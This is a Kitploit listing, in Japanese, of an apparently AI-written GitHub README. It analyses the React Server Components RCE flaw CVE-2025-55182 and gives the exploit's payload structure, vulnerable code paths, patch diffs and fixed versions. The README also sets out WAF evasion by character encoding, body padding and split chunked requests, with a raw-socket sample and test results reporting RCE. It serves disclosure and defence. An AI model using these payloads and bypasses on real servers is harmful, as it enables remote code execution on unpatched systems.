Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — CVE-2025-55182(ReactのFlight Protocolにおける深刻なRCE脆弱性)の詳細な技術分析と概念実証エクスプロイト。パストラバーサル、偽のチャンクインジェクション、WAFバイパス技術をカバーしています。 | Kitploit
ツール/GitHubGitHub/hulh122/cve-2025-55182
脆弱性分析エクスプロイトウェブアプリケーション悪用WAFバイパス学習と教育ペイロード開発
GitHubhulh122/cve-2025-55182

CVE-2025-55182

CVE-2025-55182(ReactのFlight Protocolにおける深刻なRCE脆弱性)の詳細な技術分析と概念実証エクスプロイト。パストラバーサル、偽のチャンクインジェクション、WAFバイパス技術をカバーしています。

リポジトリを見る
28ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 - React Server Components RCE

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 は、React の Flight Protocol における重大な RCE 脆弱性です。この攻撃は パストラバーサル + 偽のチャンク注入 + $B ハンドラの悪用 を連鎖させ、Function(attacker_code) を実行します。

ワーキングエクスプロイトチェーンを提供してくれた maple3142 に感謝します!


エクスプロイト

攻撃の概要

このエクスプロイトは、3つのフォームフィールドを使用して悪意のあるペイロードを構築します:

  1. 自己参照的な then を持つ 偽のチャンクオブジェクト を作成 (フィールド1 $@0 → フィールド0)
  2. _formData.get が に設定された を埋め込む
$1:constructor:constructor
偽の _response
  • $B ハンドラ をトリガーし、response._formData.get(response._prefix + id) を呼び出す
  • パストラバーサル により _formData.get が Function に解決され、Function(code) を実行
  • エクスプロイトの流れ```

    ┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### 主要コンポーネント
    
    | コンポーネント | 目的 |
    |-----------|---------|
    | `then: "$1:__proto__:then"` | 自己参照可能なthenable。チャンク1(`$@0`)はチャンク0を指す。 |
    | `status: "resolved_model"` | オブジェクトを有効なReactチャンクとして見せる。 |
    | `reason: -1` | rootReferenceをundefinedに設定(参照競合を回避)。 |
    | `value: '{"then":"$B1337"}'` | `$B`ハンドラをトリガーするネストされたペイロード。 |
    | `_response._prefix` | RCEコード文字列を含む。 |
    | `_response._chunks: "$Q2"` | チャンク処理中のクラッシュを防ぐ空のMap。 |
    | `_response._formData.get` | `$1:constructor:constructor`を介して`Function`を指す。 |
    
    ### コンポーネント詳細
    
    #### フォームフィールド構造
    
    このエクスプロイトは循環参照を持つ3つのフォームフィールドを使用します:```
    Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
    Field 1: "$@0"    ← references back to field 0
    Field 2: []       ← empty array for _chunks Map
    

    自己参照Thenable (then)

    then: "$1:__proto__:then" は、実際の関数 に解決される自己参照を作成します:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

    root@kitploit:~
    **これが重要な理由:**
    
    1. `then` は `Chunk.prototype.then` に解決される - 実際の呼び出し可能な関数
    2. これにより、偽のオブジェクトは有効な thenable となる
    3. await されると、JS は `obj.then(resolve, reject)` を呼び出す
    4. `Chunk.prototype.then` が偽のオブジェクトを `this` として実行される:```javascript
    Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {  // this.status = "resolved_model" ✓
        case "resolved_model":
          initializeModelChunk(this);  // fake object passed!
    
    1. initializeModelChunk(this) は this._response - 攻撃者の偽の _response を使用する:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
    root@kitploit:~
    **自己参照がない場合**、偽の`_response`は決して使用されない。自己参照により、`Chunk.prototype.then`は攻撃者のオブジェクトを実際のChunkとして扱うようになる。
    
    #### Two-Stage Thenable Trigger (`value`)
    
    `value`フィールドには、別のthenableを含むネストされたJSON文字列が含まれている:```json
    {"then":"$B1337"}
    

    ステージ 1: 外部オブジェクトの自己参照 then がチャンク処理をトリガーする

    ステージ 2: Reactがモデルを解決するとき、value を解析し、then: "$B1337" を持つ別のthenableに遭遇する。$B プレフィックスがハンドラをトリガーする:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

    root@kitploit:~
    `_formData.get` は `"$1:constructor:constructor"` → `getOutlinedModel()` は `Function` に解決される。
    
    これは: `Function(code + "1337")` → 有効なJSになる。なぜなら `1337` は単なる末尾式だからである。
    
    #### 防御的パディング (`_chunks`)
    
    偽の `_response` はクラッシュを防ぐために有効な `_chunks` プロパティを持っている必要がある:```
    Form field "2": []           ← empty array
    _chunks: "$Q2"               ← $Q = Map type, creates new Map([])
    

    Reactの内部コードは、処理中に response._chunks.get() や response._chunks.has() にアクセスすることがあります。空のMapは、これらの呼び出しをエラーなく満たし、脆弱な $B ハンドラーへの実行を可能にします。


    脆弱なコードパス

    パス関数エクスプロイトにおける目的
    パストラバーサルgetOutlinedModel()$1:constructor:constructor → Function を解決
    偽の _response インジェクションinitializeModelChunk()攻撃者の chunk._response を使用
    $B ハンドラーparseModelString()_formData.get(_prefix + id) → RCE を呼び出す

    decodeReply() はエントリポイントであり、それ自体は脆弱ではありません。

    パストラバーサル (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

    root@kitploit:~
    **フェイクレスポンスの使用法** (`initializeModelChunk()`):```javascript
    value = reviveModel(
      chunk._response,  // Uses chunk._response directly!
      { "": rawModel },
      ...
    );
    

    $B ハンドラ RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

    root@kitploit:~
    ---
    
    ## 修正 (19.2.1)
    
    このパッチには複数の修正が含まれています:
    
    1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - 重要な修正   ```javascript
       // BEFORE: chunk._response (attacker can set via JSON)
       value = reviveModel(chunk._response, ...);
    
       // AFTER: Symbol lookup (cannot be forged via JSON)
       var response = chunk.reason[RESPONSE_SYMBOL];
       value = reviveModel(response, ...);
    
    1. hasOwnProperty による getOutlinedModel() でのチェック - プロトタイプの走査をブロック ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
      root@kitploit:~
    2. reviveModel()における__proto__の取り扱い - プロトタイプ汚染を防止する ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
      root@kitploit:~
    3. initializeModelChunk() における型チェック - リスナーを検証 ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
      root@kitploit:~

    影響とバージョン

    影響評価

    機能ステータス備考
    プロトタイプチェーン探索✓ 確認済み$1:constructor:constructor 経由
    Functionコンストラクタへのアクセス✓ 確認済みマニフェスト不要
    完全なRCE✓ 確認済み偽のチャンク+$Bハンドラ経由

    影響を受けるバージョン

    • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-turbopack: 同一バージョン
    • Next.js: 15.x, 16.x(パッチ前)、14.3.0-canary.77+ 以降のcanary

    修正されたバージョン

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

    シグネチャベースのWAF検出が失敗する理由

    このセクションでは、従来のパターンマッチング型WAFルールがこのエクスプロイトを確実に検出できない理由を説明します。これらの制限を理解することは、防御体制を評価するセキュリティチームにとって不可欠です。

    根本的な問題:複数レイヤーでのエンコード

    エクスプロイトペイロードは複数のパーサーを通過し、それぞれが異なるエンコードをサポートしています。生のHTTPバイトを検査するWAFはエンコードされた文字列を見るのに対し、サーバーは処理前にデコードします。

    レイヤーパーサーデコード
    JSON構造JSON.parse()\uXXXX Unicodeエスケープ
    JavaScriptコードFunction() コンストラクタ\uXXXX, \xXX, 8進数, fromCharCode()

    これにより根本的な不一致が生じます。WAFはエンコードされたバイトを見るのに対し、アプリケーションはデコードされた文字列を見ることになります。

    シグネチャが一致すべきもの

    単純なWAFは constructor, __proto__, resolved_model, child_process などのパターンを探すかもしれません。しかし、JSONでは任意の文字に対してUnicodeエスケープが許可されています。

    リテラルパターンUnicode相当WAF検出
    constructor\u0063onstructor回避
    __proto__\u005f\u005fproto\u005f\u005f回避
    resolved_model\u0072esolved_model回避
    $@ (循環参照)$\u0040回避

    ペイロード内のJavaScriptコードにはさらに多くのエンコードオプションがあります。

    パターンエンコードオプション
    process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
    child_process\x63hild_process, 数値文字コード, base64
    任意の識別子ブラケット記法: this[S(112,114,...)] (S=String.fromCharCode)

    検出ギャップ

    すべてのエンコード手法を組み合わせると:

    • JSONキーはUnicodeシーケンスに(例:then → \u0074\u0068\u0065\u006e)
    • JS識別子は数値配列に(例:child_process → S(99,104,105,108,100,95,...))
    • 生のペイロードには認識可能なキーワードが全く含まれない

    HTTPボディをスキャンするWAFには、エスケープシーケンスと数字しか見えません。従来の攻撃シグネチャに一致するものはありません。

    防御側にとっての重要性

    1. シグネチャベースのルールは誤った安心感を与える — ペイロードは検出されずにサーバーに到達する
    2. エンコードは無限である — すべての文字を異なる方法でエスケープできるため、正規表現ですべてのバリエーションを列挙することは不可能
    3. 攻撃はプロトコル準拠である — すべてのエンコードは仕様上、有効なJSON/JavaScriptである

    ヘッダー検出の考慮事項

    Next-Action ヘッダーはサーバーアクションリクエストを識別します。ヘッダー名はUnicodeエンコードできませんが(RFC 7230ではASCIIトークンが必要)、WAFとサーバー間の正規化の違いにより検出の隙が生じます。

    バリアントサーバーの動作WAFのリスク
    next-action (小文字)受け入れられる (HTTPは大文字小文字を区別しない)WAFが正確な大文字小文字を期待する場合に検出漏れ
    Next-Action:\tx (タブ)受け入れられる (空白は正規化される)正規化なしで検出漏れ
    Next-Action: x (スペース)受け入れられる正規化なしで検出漏れ

    防御推奨事項

    パッチ適用のみが信頼できる緩和策です。 エンコードの柔軟性のため、WAFルールでこの攻撃を包括的にブロックすることはできません。

    必要なバージョン:

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    パッチ適用が遅れる場合は、以下を検討してください:

    1. マッチング前にデコードする — WAFはパターンマッチングの前に \uXXXX, \xXX をデコードし、fromCharCode() 呼び出しを正規化する必要がある
    2. 構造的検出 — _response, _prefix, _chunks を含むJSON構造や循環参照 ($@0) を探す
    3. ヘッダーの正規化 — next-action ヘッダーを大文字小文字を区別せず、空白をトリミングしてマッチングする
    4. サーバーアクションをブロックする — サーバーアクションを使用していない場合は、Next-Action ヘッダーが付いたリクエストを完全にブロックする
    5. ランタイム監視 — 動的な文字列引数での Function() 呼び出しにアラートを出す

    重要なポイント: この種の攻撃に対しては、パターンマッチングだけでは失敗します。エンコードの表面が大きすぎて列挙できません。


    AWS WAFボディ検査制限のバイパス

    包括的なWAFルールがあっても、AWS WAFにはボディ検査サイズ制限があり、悪用される可能性があります。このセクションでは、過大なペイロードを使用したテスト済みのバイパス手法を文書化します。

    ボディ検査制限

    AWS WAFはリクエストボディの一部のみを検査します。

    バックエンドデフォルト制限最大設定可能
    ALB / AppSync8 KB8 KB
    CloudFront / API Gateway16 KB64 KB
    Amazon Cognito / App Runner16 KB64 KB

    OversizeHandling の問題

    WAFルールは、検査制限を超えるリクエストの処理方法を指定します。

    設定動作悪用可能?
    CONTINUE利用可能なバイトを検査し、ルールを評価はい — 制限後のペイロードは検査されない
    MATCH一致とみなす(ブロック)いいえ — 過大なリクエストをブロック
    NO_MATCH不一致とみなすはい — 通過する

    WAFルールが OversizeHandling: CONTINUE (一般的なデフォルト)を使用している場合、バイパスは簡単です。

    バイパス戦略: ペイロード前のパディング

    エクスプロイトペイロードの前に無害なパディングデータを配置して、検査ウィンドウの外に出すようにします。``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### テスト結果
    
    すべての過大ペイロードが Next.js 上で RCE を達成しました。
    
    | パディングサイズ | 総ボディサイズ | エクスプロイトオフセット | 結果 |
    |--------------|------------|----------------|--------|
    | 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
    | 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
    | 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
    | 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
    | 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
    | 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
    
    ### Chunked Transfer Encoding バイパス
    
    HTTP/1.1 のチャンク転送エンコーディングは、ボディを個別のチャンクに分割します。WAF がチャンクを**再構築前**に検査する場合、チャンク境界をまたぐパターンは一致しなくなります。
    
    #### 動作原理```
    HTTP Request with Transfer-Encoding: chunked
    
    17f\r\n                           ← Chunk 1 size (hex)
    ...Content-Disposition: form-data; name="1"\r\n\r\n"$
    \r\n
    7b\r\n                            ← Chunk 2 size (hex)
    @0"\r\n------WebKitFormBoundary...
    \r\n
    0\r\n\r\n                         ← Terminator
    

    チャンク間で分割されたパターン:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

    root@kitploit:~
    #### テストしたチャンキング戦略
    
    | 戦略 | 説明 | 結果 |
    |----------|-------------|--------|
    | `$@`で分割 | `"$` \| `@0"` | ✅ RCE |
    | 10バイト断片 | 本文を10バイトごとに分割 | ✅ RCE |
    | 5バイト断片 | 本文を5バイトごとに分割 | ✅ RCE |
    | `status`で分割 | `sta` \| `tus` | ✅ RCE |
    
    すべての戦略でRCEが成功しました - Next.jsはチャンク化されたリクエストを正しく再構築します。
    
    #### Raw Socket の例```javascript
    const net = require('net');
    const socket = new net.Socket();
    
    socket.connect(3000, 'localhost', () => {
      // Headers with chunked encoding
      socket.write([
        'POST / HTTP/1.1',
        'Host: localhost:3000',
        'Content-Type: multipart/form-data; boundary=----WebKit',
        'Transfer-Encoding: chunked',
        'Next-Action: test',
        '', ''
      ].join('\r\n'));
    
      // Chunk 1: everything up to and including "$
      const chunk1 = '...payload ending with "$';
      socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
    
      // Chunk 2: "@0" and rest of payload
      const chunk2 = '@0"\r\n...rest of payload';
      socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
    
      // Terminator
      socket.write('0\r\n\r\n');
    });
    

    WAFの動作に関する考慮事項

    WAFタイプチャンク処理バイパスの可能性
    AWS WAF (ALB)検査前に再構築低い
    AWS WAF (CloudFront)検査前に再構築低い
    一部のレガシーWAFチャンクごとに検査はい
    Nginx ModSecurity設定可能設定に依存

    注意: AWS WAFは通常、検査前にチャンク化されたボディを再構築します。ただし、環境ごとに構成が異なるため、各環境で確認する必要があります。

    緩和策の推奨事項

    1. OversizeHandlingをMATCHに変更 ```json "OversizeHandling": "MATCH"
      root@kitploit:~

    これは、ルール条件が満たされたときに検査制限を超えるリクエストをブロックします。

    1. ボディ検査制限の引き上げ (CloudFront/API Gateway のみ) Web ACL 設定で最大 64KB まで設定できますが、これではバイパスを完全に防げません。

    2. サイズベースのブロックルールを追加 妥当なサイズ(例:10KB)を超える Next-Action ヘッダーを持つ POST リクエストをブロックします。

    3. アプリケーションにパッチを適用 - 唯一の完全な解決策です。

    Test Scripts

    含まれているテストスクリプトを参照してください:

    • test-simple.cjs - ベースラインの非チャンクペイロードテスト
    • test-oversize.cjs - パディングサイズを0〜128KBでテスト
    • test-chunked-v2.cjs - チャンク転送エンコーディングと$@分割
    • test-chunked-bypass.cjs - 複数のチャンク戦略(5バイト、10バイト、パターン分割)

    使用方法:```bash

    Start vulnerable Next.js server (port 3000)

    cd nextjs-test && npm run dev

    Run tests

    node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

    root@kitploit:~
    ---
    
    ## 研究の旅
    
    ### 脆弱性: Path Traversal```javascript
    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      var parentObject = response.chunks[id];
    
      // PATH TRAVERSAL - no hasOwnProperty check!
      for (var key = 1; key < reference.length; key++)
        parentObject = parentObject[reference[key]];  // VULNERABLE!
    
      return map(response, parentObject);
    }
    

    With payload "$1:constructor:constructor":

    1. chunk[1]["constructor"] → [Function: Object]
    2. Object["constructor"] → [Function: Function]

    試したがブロックされたパス

    Function を入手しましたが、RCEを達成するには制御された引数でそれを呼び出す必要があります。以下のパスは失敗しました:

    1. Thenable Path (ブロック済み)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

    root@kitploit:~
    **2. decodeAction Path (ブロック済み)**```javascript
    // decodeAction always appends formData:
    // Function.bind(null, "code").bind(null, formData)()
    // = Function("code", "[object FormData]")
    // Result: SyntaxError - "[object FormData]" is not valid JS body
    

    3. イテレータパス (ブロック済み)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

    root@kitploit:~
    ### ブレークスルー
    
    maple3142 氏が欠けていたピースを発見した。それは、`$B` ハンドラと偽の `_response` チェーンである。自己参照によって `then` を `Chunk.prototype.then` に解決させることで、偽の `_response` が使用され、RCE が可能になる。
    
    ---
    
    ## 主要な発見
    
    1. **`getOutlinedModel()` の脆弱性は現実** - コロン区切りのパスでプロトタイプチェーンを辿れる
    
    2. **Function コンストラクタにアクセス可能** - `$1:constructor:constructor` が serverManifest なしで動作する
    
    3. **RCE が達成可能** - 制御された `_response` を持つ偽のチャンクを作成することで:
       - 自己参照 `$1:__proto__:then` → `Chunk.prototype.then` により、偽の `_response` が使用される
       - 偽のチャンク構造は React 内部の Chunk クラスを模倣
       - `_response._formData.get` → `Function` コンストラクタ
       - `_response._prefix` → 悪意のあるコード文字列
       - `$B` ハンドラが `Function(悪意のあるコード)` をトリガー
    
    4. **修正は包括的** - 複数の `hasOwnProperty` チェックと型検証
    
    ---
    
    ## 参考資料
    
    - [maple3142のGist](https://gist.github.com/maple3142) - RCEチェーンの発見
    - [React Security Advisory](https://github.com/facebook/react/security/advisories)
    - [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
    - [msanftのPoC](https://github.com/msanft/CVE-2025-55182)
    - [react2shell.com](https://react2shell.com)
    - [AWS WAFルール](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
    
    ---
    
    ## 免責事項
    
    このリポジトリは**教育および防御的なセキュリティ研究のみ**を目的としています。脆弱性は修正されています。すぐに依存関係をアップグレードしてください。
    
    ツールをダウンロード